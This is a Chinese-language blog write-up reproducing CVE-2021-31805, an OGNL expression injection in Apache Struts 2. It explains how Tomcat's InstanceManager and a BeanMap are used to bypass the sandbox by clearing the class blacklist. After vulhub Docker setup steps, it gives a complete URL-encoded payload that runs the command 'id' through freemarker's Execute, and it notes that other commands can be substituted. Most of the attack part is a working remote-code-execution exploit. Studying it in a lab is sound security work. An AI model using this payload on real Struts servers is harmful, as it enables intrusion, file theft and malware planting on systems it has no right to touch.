CVE-2021-31805
影响范围:
Struts 2.0.0 - 2.5.29
漏洞类型:
OGNL表达式注入
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测
利用原理:
Struts内部对象虽然被锁死了,但是Struts2运行在Tomcat容器,攻击者可以利用Tomcat的InstanceManager绕过沙箱(相当于CVE-2021-31805是对CVE-2020-17530修复的绕过),InstanceManager新建的 org.apache.commons.collections.BeanMap对象能绕过普通权限检查,直接操作memberAccess的私有属性,利用BeanMap的put方法把excludedClasses(Struts2内部的黑名单)改为空,再通过攻击链执行敏感命令。
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-061
#拉取镜像
docker-compose up -d
访问http://公网:8080,执行OGNL表达式%{(11+11).toString()},下面是对符号url编码的payload,并打开F12查看属性,发现属性值出现了OGNL表达式计算的结果,说明存在注入点

#url编码特殊字符
http://公网:8080?id=%25%7b+(11+%2b+11).toString()%7d注入恶意payload,可以将id替换成其他命令,通过F12查看回显
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
本文链接:
/archives/cve-2021-31805
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧